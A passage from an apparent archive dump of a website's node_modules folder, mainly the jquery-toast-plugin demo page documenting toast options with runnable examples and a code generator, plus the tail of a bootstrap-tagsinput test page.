src="bootstrap-tagsinput/input_with_string_items.tests.js"></script> <script type="text/javascript" src="bootstrap-tagsinput/input_with_object_items.tests.js"></script> <script type="text/javascript" src="bootstrap-tagsinput/select_with_string_items.tests.js"></script> <script type="text/javascript" src="bootstrap-tagsinput/select_with_object_items.tests.js"></script> <script type="text/javascript" src="bootstrap-tagsinput/reproduced_bugs.tests.js"></script> <script type="text/javascript" src="bootstrap-tagsinput/events.tests.js"></script> <script type="text/javascript" src="bootstrap-tagsinput-angular.tests.js"></script> </head> <body> </body> </html> home/emeraadmin/public_html/node_modules/jquery-toast-plugin/demos/index.html000064400000136504151701440700023634 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Demo - Toast Plugin</title> <link href='http://fonts.googleapis.com/css?family=Roboto+Slab:400,700' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="css/jquery.toast.css"> <style type="text/css"> * { font-family: 'Roboto Slab', serif; margin: 0; padding: 0; } hr { border: 1px solid #ccc; margin-bottom: 20px; } h1, h2 { margin: 20px 0px 10px; } a { text-decoration: none;} .container { display: block; width: 1200px; margin: auto; } strong { padding-bottom: 1px; border-bottom: 1px dotted; } p { margin: 10px 0px; } code { font-family: monospace; color: #2d2d2d; background: whitesmoke; display: block; padding: 10px; border: 1px solid #ccc; overflow: scroll;} a.eval-js { color: whitesmoke; padding: 5px 10px; display: inline-block; margin-bottom: 10px; background: #2d2d2d; border-radius: 2px; } span.muted { font-size: 17px; color: #8B7373; } span.code { font-family: monospace; color: #2d2d2d; background: whitesmoke; padding: 5px; border: 1px solid #ccc; } div.code-runner { margin: 20px 20px;} ul, ol { margin: 10px 50px; } ul li { margin-bottom: 10px; } .hidden { display: none; } span.k { display: inline-block; width: 175px; } span.c { color: #F7BCBC; padding-left: 30px; } .plugin-options label { display: inline-block; width: 265px; } span.toast-position span.k { display: inline; } .toast-index .muted { display: block; color: #AD9D9D; } .toast-index .muted:hover { color: #333; } .latest-update { padding: 0px 30px; border: 1px dashed; margin: 30px 0; box-sizing: border-box; } </style> </head> <body> <div class="container"> <h1 style="text-align: center; margin: 20px 0px;">Jquery Toast Plugin</h1> <hr> <h1>Index</h1> <ul class="toast-index"> <li><a href="#quick-demos">Quick Demos</a> <span class="muted">Some quick demos and the code to generate that, if you are in a hurry!</span></li> <li><a href="#toast-generator">Generator</a> <span class="muted">A generator for you to <strong>easily generate the code for the kind of toast you want</strong>, so that <strong>you don't have to go through the documentation!</strong></span></li> <li> <a href="#options">Options</a> <span class="muted">Each of the options is accompanied by a demo explaining that option.</span> <ul> <li><a href="#toast-head">Specifying the heading</a></li> <li><a href="#sticky-toast">Making them sticky</a></li> <li><a href="#toast-timer">Changing the toast hide timer</a></li> <li><a href="#showhide-animation">Changing the show/hide animation</a></li> <li><a href="#closeable-toasts">Making the toast closeable or not</a></li> <li><a href="#toasts-stack">Setting the toast stack</a></li> <li><a href="#toasts-positioning">Positioning the toast</a></li> <li><a href="#toasts-icons">Messages with icons</a></li> <li><a href="#toasts-bg-color">Background & text color</a></li> <li><a href="#toasts-text-alignment">Setting the text alignment</a></li> <li><a href="#toasts-events">Toast Events</a></li> <li><a href="#updating-toasts">Updating Toasts</a></li> <li><a href="#resetting-toasts">Resetting Toasts</a></li> </ul> </li> </ul> <div class="latest-update"> <h1 id="latest-update">Latest Update</h1> <p>Toast loader has been introduced in the latest version. Check the demo below to see it in action</p> <div class="code-runner" style="margin-left: 0px; margin-right: 0px;"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast('Here you can put the text of the toast')</code></pre> </div> <p>Loader is enabled by default. In order to disable it or change the color, use the `loader` and `loaderBg` options. Have a look at the demo below</p> <div class="code-runner" style="margin-left: 0px; margin-right: 0px;"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast({ heading: 'Information', text: 'Loaders are enabled by default. Use `loader`, `loaderBg` to change the default behavior', icon: 'info', loader: true, // Change it to false to disable loader loaderBg: '#9EC600' // To change the background })</code></pre> </div> </div> <h1 id="quick-demos">Quick Demos</h1> <p>To generate a <strong>most simple toast</strong>, all you have to do is</p> <div class="code-runner"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast('Here you can put the text of the toast')</code></pre> </div> <p>There are different kinds of toast types:</p> <div class="code-runner"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast({ heading: 'Information', text: 'Now you can add icons to generate different kinds of toasts', showHideTransition: 'slide', icon: 'info' })</code></pre> </div> <div class="code-runner"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast({ heading: 'Error', text: 'Report any <a href="https://github.com/kamranahmedse/jquery-toast-plugin/issues">issues</a>', showHideTransition: 'fade', icon: 'error' })</code></pre> </div> <div class="code-runner"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast({ heading: 'Warning', text: 'It is going to be supper easy for you to use ;)', showHideTransition: 'plain', icon: 'warning' })</code></pre> </div> <div class="code-runner"> <a class="eval-js" href="#">Run code</a> <pre><code>$.toast({ heading: 'Success', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'success' })</code></pre> </div> <h1 id="options">Options</h1> <p>Of course that is not all what you can do using this plugin, there are a lot of other options. Let's start explaining each, one by one</p> <p>You should note that, whenever you are going to use options, you have to pass an <span class="code">options</span> object and specify the text as follows:</p> <div class="code-runner"> <a href="#" class="eval-js">Run code</a> <pre><code>$.toast({ text: 'This will become the toast message' })</code></pre> </div> <p>The text can be an array:</p> <div class="code-runner"> <a href="#" class="eval-js">Run code</a> <pre><code>$.toast({ heading: 'How to contribute?!', text: [ 'Fork the repository', 'Improve/extend the functionality', 'Create a pull request' ], icon: 'info' })</code></pre> </div> <p>Or put some HTML in the text</p> <div class="code-runner"> <a href="#" class="eval-js">Run code</a> <pre><code>$.toast({ heading: 'Can I add <em>icons</em>?', text: 'Yes! check this <a href="https://github.com/kamranahmedse/jquery-toast-plugin/commits/master">update</a>.', hideAfter: false, icon: 'success' })</code></pre> </div> <h2 id="toast-head"><span class="muted">1.</span> Specifying the heading of toast message</h2> <p>You can use the heading to set the <span class="code">heading</span> property to set the heading of the toast message</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Headings', text: 'You can use the `heading` property to specify the heading of the toast message.', })</code></pre> </div> <h2 id="sticky-toast"><span class="muted">2.</span> Making them sticky:</h2> <p>There will be times, when you will want to have <strong>sticky toasts</strong>. To make them <strong>sticky</strong>, all you have to do is set the <span class="code">hideAfter</span> to <span class="code">false</span>. Here is a sticky toast</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ text: 'Set the `hideAfter` property to false and the toast will become sticky.', hideAfter: false })</code></pre> </div> <p><sup>*</sup> <span class="code">hideAfter</span> property is basically used to set the timer after which the toast will get hidden. But you can set it to false in order to achieve the sticky toasts.</p> <h2 id="toast-timer"><span class="muted">3.</span> Changing the toast hide timer</h2> <p>You can use the property from the above option i.e. <span class="code">hideAfter</span> to change the timer after which toast gets hidden. You have to specify the timer in milliseconds</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ text: 'Set the `hideAfter` property to milliseconds and the toast will hide after the specified milli seconds.', hideAfter: 5000 // in milli seconds })</code></pre> </div> <h2 id="showhide-animation"><span class="muted">4.</span> Changing the show/hide animation</h2> <p>You can use <span class="code">showHideTransition</span> property to set the animation. Following are the available options:</p> <ul> <li><span class="code">fade</span> for fade transitions</li> <li><span class="code">slide</span> for slide up and down transitions</li> <li><span class="code">plain</span> simple show from and hide to corner transition</li> </ul> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ text: 'Set the `showHideTransition` property to fade|plain|slide to achieve different transitions', heading: 'Slide transition', showHideTransition: 'slide' })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ text: 'Set the `showHideTransition` property to fade|plain|slide to achieve different transitions', heading: 'Fade transition', showHideTransition: 'fade' })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ text: 'Set the `showHideTransition` property to fade|plain|slide to achieve different transitions', heading: 'Plain transition', showHideTransition: 'plain' })</code></pre> </div> <h2 id="closeable-toasts"><span class="muted">5.</span> Making the toast closeable or not</h2> <p>You can use <span class="code">allowToastClose</span> to allow the user to close the toast or not. The only thing that this option does is make that little cross button show or hide itself</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Closeable Toast', text: 'Set the `allowToastClose` property to true|false to make the toast closeable or not', allowToastClose: true })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Non closeable Toast', text: 'Set the `allowToastClose` property to true|false to make the toast closeable or not', allowToastClose: false })</code></pre> </div> <h2 id="toasts-stack"><span class="muted">6.</span> Setting the toast stack</h2> <p><span class="code">stack</span> property can be used to specify how many maximum toasts you want to show at any point of time. By default this property is set to 5</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Stack', text: 'If set to a number, it will show that number of toasts at max at a time', stack: 4 })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'No stacking', text: 'If set to false, there will be only one toast at once.', stack: false })</code></pre> </div> <p><strong>Note</strong> Hit the run button multiple times to test these demos.</p> <h2 id="toasts-positioning"><span class="muted">7.</span> Positioning the toast</h2> <p><span class="code">position</span> property can be used to specify the position. There are following predefined positions which you can use:</p> <ul> <li><span class="code">bottom-left</span> value to show the toast at bottom left position</li> <li><span class="code">bottom-right</span> value to show the toast at bottom right position</li> <li><span class="code">bottom-center</span> value to..</li> <li><span class="code">top-right</span> value to..</li> <li><span class="code">top-left</span> value to..</li> <li><span class="code">top-center</span> value to..</li> <li><span class="code">mid-center</span> value to..</li> <li><span class="code">{ top: '-', bottom: '-', left: '-', right: '-' }</span> javascript object with positioning properties as you set in CSS</li> </ul> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Specify the custom position object or use one of the predefined ones', position: 'bottom-left', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Specify the custom position object or use one of the predefined ones', position: 'bottom-right', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Use the predefined ones, or specify a custom object', position: 'bottom-center', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Use the predefined ones, or specify a custom object', position: 'top-left', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Use the predefined ones, or specify a custom position object.', position: 'top-right', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Use the predefined ones, or specify a custom position object.', position: 'top-center', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Use the predefined ones, or specify a custom position object.', position: 'mid-center', stack: false })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code><span class='hidden'>$.toast().reset('all');</span>$.toast({ heading: 'Positioning', text: 'Use the predefined ones, or specify a custom position object.', position: { left: 120, top: 120 }, stack: false })</code></pre> </div> <p><strong>Note</strong> It should be noted that, once you change the position of toast by using the `position` property, you'll have to reset the position for the next toasts, if you want them to appear at their default position i.e. the bottom left corner. Or else, each new toast generated will be appearing at the last position i.e. where you displayed the last positioned toast. You can reset the toast position by.</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast().reset('all');</code></pre> </div> <h2 id="toasts-icons"><span class="muted">8.</span> Messages with icons</h2> <p><span class="code">icon</span> property can be used to specify the predefined types of toasts. Following are the predefined types:</p> <ul> <li><span class="code">info</span> generates a toast with information icon</li> <li><span class="code">warning</span> generates a toast with warning icon</li> <li><span class="code">error</span> generates a toast with error icon</li> <li><span class="code">success</span> generates a toast with success icon</li> </ul> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Warning', text: 'Now you can seemlessly generate warnings using the icon property in the options', icon: 'warning' })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Success', text: 'Here is some kind of success message with a success icon that you can notice at the left side.', icon: 'success' })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Error', text: 'An unexpected error occured while trying to show you the toast! ..Just kidding, it is just a message, toast is right in front of you.', icon: 'error' })</code></pre> </div> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Information', text: 'Now you can add icons to the toasts as well.', icon: 'info' })</code></pre> </div> <h2 id="toasts-bg-color"><span class="muted">9.</span> Background & text color</h2> <p><span class="code">bgColor</span> property is used to specify the background color of the toast message. Default is '#444'</p> <p><span class="code">textColor</span> property is used to specify the text color of the toast message. Default is '#eee'</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Colors', text: 'Colors are specified using `bgColor` and `textColor` properties.', bgColor: '#FF1356', textColor: 'white' })</code></pre> </div> <h2 id="toasts-text-alignment"><span class="muted">10.</span> Setting the text alignment</h2> <p><span class="code">textAlign</span> property is used to set the alignment of text inside the toast. Permitted values are:</p> <ul> <li><span class="code">left</span></li> <li><span class="code">right</span></li> <li><span class="code">center</span></li> </ul> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ text: 'Processing! Please wait..', textAlign: 'center' })</code></pre> </div> <h2 id="toasts-class"><span class="muted">9.</span> Custom Classes </h2> <p><span class="code">class</span> property is used to add custom classes to the toast element</p> <style type="text/css"> .larger-font { font-size: larger; } </style> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code>$.toast({ heading: 'Custom Classes', text: 'Custom classes are specified using the `class` option.', class: 'larger-font' })</code></pre> </div> <h2 id="toasts-events"><span class="muted">11.</span> Toast Events</h2> <p>Toast exposes the following events for you to bind to whatever you want</p> <ul> <li><span class="code">beforeShow</span> will be triggered right before the toast is about to appear</li> <li><span class="code">afterShown</span> will be triggered after the toast has appeared</li> <li><span class="code">beforeHide</span> will be triggered before the toast is about to hide</li> <li><span class="code">afterHidden</span> will be triggered right after the toast gets hidden</li> </ul> <div class="code-runner"> <a href="#" class="eval-js"><span class='hidden'>$.toast().reset('all');</span>Run Code</a> <pre><code>$.toast({ text: 'Triggers the events', beforeShow: function () { alert('The toast is about to appear'); }, afterShown: function () { alert('Toast has appeared.'); }, beforeHide: function () { alert('Toast is about to hide.'); }, afterHidden: function () { alert('Toast has been hidden.'); } })</code></pre> </div> <h2 id="updating-toasts"><span class="muted">12.</span> Updating Toasts</h2> <p>If you have a reference to a toast and want to update that, you can do so by calling the <span class="code">update</span> method on the instance.</p> <div class="code-runner"> <a href="#" class="eval-js">Run Code</a> <pre><code> var myToast = $.toast({ heading: 'Information', text: 'Here is some information that will be later on turned to an error', icon: 'info', hideAfter: false }); // Update the toast after three seconds. window.setTimeout(function(){ myToast.update({ heading: 'Error', text: 'Here is an information that changed to error', icon: 'error', hideAfter: false }); }, 3000) </code></pre> </div> <h2 id="resetting-toasts"><span class="muted">13.</span> Resetting Toasts</h2> <p>If you have the reference to a specific toast, you can reset that by doing the following</p> <div class="code-runner"> <pre><code> var myToast = $.toast('Some toast that needs to be removed.'); myToast.reset(); // remove the toast "Some toast that needs to be removed" </code></pre> </div> <p>If you do not have the reference to a specific toast and want to reset every toast, do the following:</p> <div class="code-runner"> <pre><code> $.toast().reset('all'); </code></pre> </div> <div class="plugin-options"> <h1 id="toast-generator">Customize Plugin</h1> <p> <label for="toast-text">Text</label> <input type="text" id="toast-text" class="toast-text" value="Don't forget to star the repository if you like it."> </p> <p> <label for="toast-heading">Heading</label> <input type="text" id="toast-heading" class="toast-heading" value="Note"> </p> <p> <label for="toast-transition">Transition</label> <select name="toast-transition" id="toast-transition" class="toast-transition"> <option value="fade">Fade</option> <option value="slide">Slide</option> <option value="plain">Plain</option> </select> </p> <p> <label for="allow-toast-close">Allow Toast Close</label> <select name="allow-toast-close" id="allow-toast-close" class="allow-toast-close"> <option value="true">True</option> <option value="false">False</option> </select> </p> <p> <label for="auto-hide-toast">Auto Hide</label> <select name="auto-hide-toast" id="auto-hide-toast" class="auto-hide-toast"> <option value="true">True</option> <option value="false">False</option> </select> </p> <p class="autohide-after sub-item"> <label for="autohide-after">Hide (with transition^) after (ms)</label> <input type="text" id="autohide-after" class="autohide-after" value="3000"> </p> <p class=""> <label for="stack-toasts">Stack toasts</label> <select name="stack-toasts" id="stack-toasts" class="stack-toasts"> <option value="true">Yes</option> <option value="false">No</option> </select> </p> <p class="stack-length sub-item"> <label for="stack-length">Stack Length </label> <input type="text" id="stack-length" class="stack-length" value="5"> </p> <p class=""> <label for="toast-position">Toast Position</label> <select name="toast-position" id="toast-position" class="toast-position"> <option value="bottom-left">Bottom Left</option> <option value="bottom-right">Bottom Right</option> <option value="top-left">Top Left</option> <option value="top-right">Top Right</option> <option value="top-center">Top Center</option> <option value="bottom-center">Bottom Center</option> <option value="mid-center">Mid Center</option> <option value="custom-position">Custom</option> </select> </p> <div class="custom-toast-position sub-item" style="display:none;"> <label for="custom-toast-position">Custom Toast Position</label> <ul> <li> <label for="left-position">Left</label> <input type="text" class="left-position" id="left-position"> </li> <li> <label for="right-position">Right</label> <input type="text" class="right-position" id="right-position"> </li> <li> <label for="top-position">Top</label> <input type="text" class="top-position" id="top-position"> </li> <li> <label for="bottom-position">Bottom</label> <input type="text" class="bottom-position" id="bottom-position"> </li> </ul> </div> <p class=""> <label for="text-align">Icon</label> <select name="icon-type" id="icon-type" class="text-align"> <option value="">-- No icon --</option> <option selected="selected" value="warning">Warning</option> <option value="success">Success</option> <option value="error">Error</option> <option value="info">Information</option> </select> </p> <div class="custom-color-info" style="display: none;"> <p> <label for="toast-bg">Background Color</label> <input type="color" id="toast-bg" class="toast-bg" value="#444444"> </p> <p> <label for="toast-text-color">Text Color</label> <input type="color" id="toast-text-color" class="toast-text-color" value="#eeeeee"> </p> </div> <p class=""> <label for="text-align">Text Alignment</label> <select name="text-align" id="text-align" class="text-align"> <option value="left">Left</option> <option value="right">Right</option> <option value="center">Center</option> </select> </p> <p class=""> <label for="add-toast-events">Toast Events</label> <select name="add-toast-events" id="add-toast-events" class="add-toast-events"> <option value="true">True</option> <option value="false">False</option> </select> </p> <p class=""> <label for="show-loader">Show Loader</label> <select name="show-loader" id="show-loader" class="show-loader"> <option value="true">True</option> <option value="false">False</option> </select> </p> <p> <label for="loader-bg">Loader Color</label> <input type="color" id="loader-bg" class="loader-bg" value="#9EC600"> </p> <div class="code-runner"> <a href="#" class="btn generate-toast eval-js">Generate</a> <pre style="padding:0px; background: #f0f3f3;"><code style="margin:0px;" class="highlight"> <span class="nd">$</span>.<span class="nf">toast</span>({ <span class="toast-text-line"><span class="k">text</span>: "<span class="toast-text s">Hey there fellas, here is a simple toast. Change the options above and then see the code that generates that toast</span>", <span class="c">// Text that is to be shown in the toast</span></span> <span class="toast-heading-line"><span class="k">heading</span>: '<span class="toast-heading s">How to use</span>', <span class="c">// Optional heading to be shown on the toast</span></span> <span class="toast-icon-line"><span class="k">icon</span>: '<span class="toast-icon s">warning</span>', <span class="c">// Type of toast icon</span></span> <span class="toast-transition-line"><span class="k">showHideTransition</span>: '<span class="toast-transition s">fade</span>', <span class="c">// fade, slide or plain</span></span> <span class="toast-allowToastClose-line"><span class="k">allowToastClose</span>: <spna class="kt toast-allowToastClose">true</spna>, <span class="c">// Boolean value <span class="kt">true</span> or <span class="kt">false</span></span></span> <span class="toast-hideAfter-line"><span class="k">hideAfter</span>: <span class="n toast-hideAfter">3000</span>, <span class="c">// <span class="kt">false</span> to make it sticky or number representing the miliseconds as time after which toast needs to be hidden</span></span> <span class="toast-stackLength-line"><span class="k">stack</span>: <span class="n toast-stackLength">5</span>, <span class="c">// <span class="kt">false</span> if there should be only one toast at a time or a number representing the maximum number of toasts to be shown at a time</span></span> <span class="toast-position-string-line"><span class="k">position</span>: '<span class="s toast-position">bottom-left</span>', <span class="c">// bottom-left or bottom-right or bottom-center or top-left or top-right or top-center or mid-center or an object representing the left, right, top, bottom values</span></span> <span class="toast-position-string-obj"><span class="k">position</span>: <span class="s toast-position">{ <span class="k">left</span> : <span class="n toast-position-left">20</span>, <span class="k">right</span> : <span class="n toast-position-right">20</span>, <span class="k">top</span> : <span class="n toast-position-top">20</span>, <span class="k">bottom</span> : <span class="n toast-position-bottom">20</span> }</span>, <span class="c">// bottom-left or bottom-right or bottom-center or top-left or top-right or top-center or mid-center or an object representing the left, right, top, bottom values</span></span> <span class="toast-bgColor-line" style="display: none;"><span class="k">bgColor</span>: '<span class="s toast-bgColor">#444</span>', <span class="c"> // Background color of the toast</span></span> <span class="toast-textColor-line" style="display: none;"><span class="k">textColor</span>: '<span class="s toast-textColor">#eee</span>', <span class="c"> // Text color of the toast</span></span> <span class="toast-textAlign-line"><span class="k">textAlign</span>: '<span class="s toast-textAlign">left</span>', <span class="c"> // Text alignment i.e. left, right or center</span></span> <span class="toast-loader-line"><span class="k">loader</span>: <span class="s toast-textLoader">true</span>, <span class="c"> // Whether to show loader or not. True by default</span></span> <span class="toast-loaderBg-line"><span class="k">loaderBg</span>: '<span class="s toast-textLoaderBg">#9EC600</span>', <span class="c"> // Background color of the toast loader</span></span> <span class="toast-beforeShow-line"><span class="nb k">beforeShow</span>: <span class="nf toast-beforeShow">function ()</span> {}, <span class="c">// will be triggered before the toast is shown</span></span> <span class="toast-afterShown-line"><span class="nb k">afterShown</span>: <span class="nf toast-afterShown">function ()</span> {}, <span class="c">// will be triggered after the toat has been shown</span></span> <span class="toast-beforeHide-line"><span class="nb k">beforeHide</span>: <span class="nf toast-beforeHide">function ()</span> {}, <span class="c">// will be triggered before the toast gets hidden</span></span> <span class="toast-afterHidden-line"><span class="nb k">afterHidden</span>: <span class="nf toast-afterHidden">function ()</span> {} <span class="c"> // will be triggered after the toast has been hidden</span></span> }); </code></pre> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script type="text/javascript" src="js/jquery.toast.js"></script> <script type="text/javascript"> $(document).ready(function() { $('.eval-js').on('click', function ( e ) { e.preventDefault(); if ( !$(this).hasClass('generate-toast') ) { var code = $(this).siblings('pre').find('code').text(); code.replace("<span class='hidden'>", ''); code.replace("</span"); eval( code ); }; }); $('#icon-type').on('change', function () { if ( !$(this).val() ) { $('.custom-color-info').show(); $('.toast-icon-line').hide(); $('.toast-bgColor-line').show(); $('.toast-textColor-line').show(); } else { $('.toast-icon-line').show(); $('.custom-color-info').hide(); $('.toast-bgColor-line').hide(); $('.toast-textColor-line').hide(); $('.toast-icon-line span.toast-icon').text( $(this).val() ); } }); // You are about to see some extremely horrible code that can be MUCH MUCH improved, // I've knowlingly done it that way, please don't judge me based upon this ;) $(document).ready(function () { function generateCode () { var text = $('.plugin-options #toast-text').val(); var heading = $('.plugin-options #toast-heading').val(); var transition = $('.toast-transition').val(); var allowToastClose = $('#allow-toast-close').val(); var autoHide = $('#auto-hide-toast').val(); var stackToasts = $('#stack-toasts').val(); var toastPosition = $('#toast-position').val() var toastBg = $('#toast-bg').val(); var toastTextColor = $('#toast-text-color').val(); var toastIcon = $('#icon-type').val(); var textAlign = $('#text-align').val(); var toastEvents = $('#add-toast-events').val(); var loader = $('#show-loader').val(); var loaderBg = $('#loader-bg').val(); if ( text ) { $('.toast-text-line').show(); $('.toast-text-line .toast-text').text( text ); } else { $('.toast-text-line').hide() $('.toast-text-line .toast-text').text(''); }; if ( heading ) { $('.toast-heading-line').show(); $('.toast-heading-line .toast-heading').text( heading ); } else { $('.toast-heading-line').hide() $('.toast-heading-line .toast-heading').text(''); }; if ( transition ) { $('.toast-transition-line').show() $('.toast-transition-line .toast-transition').text( transition ); } else { $('.toast-transition-line').hide(); $('.toast-transition-line .toast-transition').text('fade'); } if ( allowToastClose ) { $('.toast-allowToastClose-line').show(); $('.toast-allowToastClose-line .toast-allowToastClose').text( allowToastClose ); } else { $('.toast-allowToastClose-line').hide(); $('.toast-allowToastClose-line .toast-allowToastClose').text( false ); } if ( autoHide && ( autoHide == 'false' ) ) { $('.toast-hideAfter-line').show(); $('.toast-hideAfter-line .toast-hideAfter').text('false'); $('.autohide-after').hide(); } else { $('.toast-hideAfter-line').show(); $('.toast-hideAfter-line .toast-hideAfter').text( $('#autohide-after').val() ? $('#autohide-after').val() : 3000 ); $('.autohide-after').show(); } if ( stackToasts && stackToasts != 'true') { $('.toast-stackLength-line').show(); $('.toast-stackLength-line .toast-stackLength').text( stackToasts ); $('.stack-length').hide(); } else { $('.stack-length').show(); $('.toast-stackLength-line').show(); $('.toast-stackLength-line .toast-stackLength').text( $('#stack-length').val() ? $('#stack-length').val() : 5 ); } if ( toastPosition && ( toastPosition !== 'custom-position' ) ) { $('.toast-position-string-line').show(); $('.custom-toast-position').hide(); $('.toast-position-string-line .toast-position').text( toastPosition ); } else { $('.toast-position-string-line').hide(); $('.toast-position-string-line .toast-position').text(''); } if ( toastPosition && ( toastPosition === 'custom-position' ) ) { $('.custom-toast-position').show(); $('.toast-position-string-obj').show(); var left = $('#left-position').val() ? $('#left-position').val() : 'auto'; var right = $('#right-position').val() ? $('#right-position').val() : 'auto'; var top = $('#top-position').val() ? $('#top-position').val() : 'auto'; var bottom = $('#bottom-position').val() ? $('#bottom-position').val() : 'auto'; $('.toast-position-string-obj .toast-position-left').text( ( left !== 'auto' ) ? left : "'" + left + "'" ); $('.toast-position-string-obj .toast-position-right').text( ( right !== 'auto' ) ? right : "'" + right + "'" ); $('.toast-position-string-obj .toast-position-top').text( ( top !== 'auto' ) ? top : "'" + top + "'" ); $('.toast-position-string-obj .toast-position-bottom').text( ( bottom !== 'auto' ) ? bottom : "'" + bottom + "'" ); } else { $('.toast-position-string-obj').hide(); // $('.toast-position-string-obj toast-position').text(''); } if ( !toastIcon ) { if ( toastBg ) { $('.toast-bgColor-line').show(); $('.toast-bgColor-line .toast-bgColor').text( toastBg ); } else { $('.toast-bgColor-line').hide(); $('.toast-bgColor-line .toast-bgColor').text(''); } if ( toastTextColor ) { $('.toast-textColor-line').show(); $('.toast-textColor-line .toast-textColor').text( toastTextColor ); } else { $('.toast-textColor-line').hide(); $('.toast-textColor-line .toast-textColor').text(''); } } if ( textAlign ) { $('.toast-textAlign-line').show(); $('.toast-textAlign-line .toast-textAlign').text( textAlign ); } else { $('.toast-textAlign-line').hide(); $('.toast-textAlign-line .toast-textAlign').text( ''); } if (loader == 'false') { $('.toast-textLoader').html('false'); } else { $('.toast-textLoader').html('true'); } if (loaderBg) { $('.toast-textLoaderBg').html(loaderBg); } if ( toastEvents == 'false' ) { $('.toast-beforeShow-line').hide(); $('.toast-afterShown-line').hide(); $('.toast-beforeHide-line').hide(); $('.toast-afterHidden-line').hide(); } else { $('.toast-beforeShow-line').show(); $('.toast-afterShown-line').show(); $('.toast-beforeHide-line').show(); $('.toast-afterHidden-line').show(); } } $('#top-position').on('change', function () { $('#bottom-position').val('auto'); }); $('#bottom-position').on('change', function () { $('#top-position').val('auto'); }); $('#left-position').on('change', function () { $('#right-position').val('auto'); }); $('#right-position').on('change', function () {$('#left-position').val('auto'); }); $('.plugin-options :input').on('change', function () { $.toast().reset('all'); generateCode(); }); $('.generate-toast').on('click', function( e ) { e.preventDefault(); generateToast(); }); function generateToast () { var options = {}; if ( $('.toast-text-line').is(':visible') ) { options.text = $('.toast-text-line .toast-text').text(); } if ( $('.toast-heading-line').is(':visible') ) { options.heading = $('.toast-heading').text(); }; if ( $('.toast-transition-line').is(':visible') ) { options.showHideTransition = $('.toast-transition-line .toast-transition').text(); }; if ( $('.toast-allowToastClose-line').is(':visible') ) { options.allowToastClose = ( $('.toast-allowToastClose-line .toast-allowToastClose').text() === 'true' ) ? true : false; }; if ( $('.toast-hideAfter-line').is(':visible') ) { options.hideAfter = parseInt($('.toast-hideAfter-line .toast-hideAfter').text(), 10) || false; }; if ( $('.toast-stackLength-line').is(':visible') ) { options.stack = parseInt($('.toast-stackLength-line .toast-stackLength').text(), 10) || false; }; if ( $('.toast-position-string-line').is(':visible') ) { options.position = $('.toast-position-string-line .toast-position').text(); }; if ( $('.toast-position-string-obj').is(':visible') ) { options.position = {}; options.position.left = parseFloat( $('.toast-position .toast-position-left').text() ) || 'auto'; options.position.right = parseFloat( $('.toast-position .toast-position-right').text() ) || 'auto'; options.position.top = parseFloat( $('.toast-position .toast-position-top').text() ) || 'auto'; options.position.bottom = parseFloat( $('.toast-position .toast-position-bottom').text() ) || 'auto'; }; if ( $('.toast-icon-line').is(':visible') ) { options.icon = $('.toast-icon-line .toast-icon').text(); }; if ( $('.toast-bgColor-line').is(':visible') ) { options.bgColor = $('#toast-bg').val(); }; if ( $('.toast-text-color').is(':visible') ) { options.textColor = $('#toast-text-color').val(); }; if ( 